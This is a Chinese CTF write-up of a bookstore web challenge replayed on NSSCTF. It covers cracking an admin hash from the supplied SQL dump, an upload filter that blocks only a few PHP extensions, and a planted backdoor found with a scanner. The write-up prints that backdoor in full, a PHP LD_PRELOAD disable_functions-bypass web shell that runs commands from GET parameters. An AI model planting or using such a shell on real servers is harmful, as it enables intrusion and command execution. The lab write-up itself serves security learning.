附件

在NSSCTF上复现时,给了附件,下载后打开是网站的源码。

测试

访问靶机,是一个图书商店之类的东西,简单翻了翻前端代码,没有发现什么有价值的东西,于是转向提供的附件。

database/obs_db.sql文件里,发现了管理员账号和密码的哈希值:

直接上一手cmd5,得到管理员密码:

登录进入后台:

Add New Book功能菜单中发现一处文件上传,查看源码相关部分,在admin_add.php处:

这里只对几个php后缀做了过滤,而忽略了其它后缀名,所以存在任意文件上传漏洞。

随便找张图片,上传,抓包:

给他改一手,这里要注意,在NSSCTF复现时试了好久上传都会被拦截,不知道是WAF还是什么给拦了,真TM操蛋。于是转换思路,上D盾扫扫,扫出了个后门:

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

按照提示,可以直接执行命令了:

发现根目录下没有flag,转向环境变量,执行env拿到flag: